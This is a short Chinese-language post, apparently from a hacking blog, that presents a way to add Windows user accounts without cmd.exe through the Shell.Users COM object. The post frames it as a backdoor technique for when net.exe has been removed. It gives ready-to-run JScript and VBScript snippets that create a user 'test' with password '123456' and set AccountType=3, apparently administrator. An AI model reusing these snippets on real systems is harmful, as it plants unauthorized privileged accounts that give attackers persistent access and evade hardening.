無cmd命令列下添加使用者的方法:API添加使用者與Shell.Users

標籤：class   c   tar   http   get   a   

之前有個html" target=_blank>xp下利用控制台的cpl檔案留後門，然後又有了用.cpl檔案加帳號的技術，lcx真的很厲害

今天研究了一下使用者控制台檔案nusrmgr.cpl，發現調用的是Shell.Users來加使用者，它還同時調用了wscript.shell、Shell.Application、Shell.LocalMachine這三個組件。不過加使用者的話，這一個Shell.Users就足夠了。那麼可能在刪掉了net.exe和不用adsi之外，這也可能是一種新的加使用者的方法。代碼如下：

js:

var o=new ActiveXObject( “Shell.Users” );
z=o.create(”test”) ;
z.changePassword(”123456″,”")
z.setting(”AccountType”)=3;

vbs:

Set o=CreateObject( “Shell.Users” )
Set z=o.create(”test”)
z.changePassword “123456″,”"
z.setting(”AccountType”)=3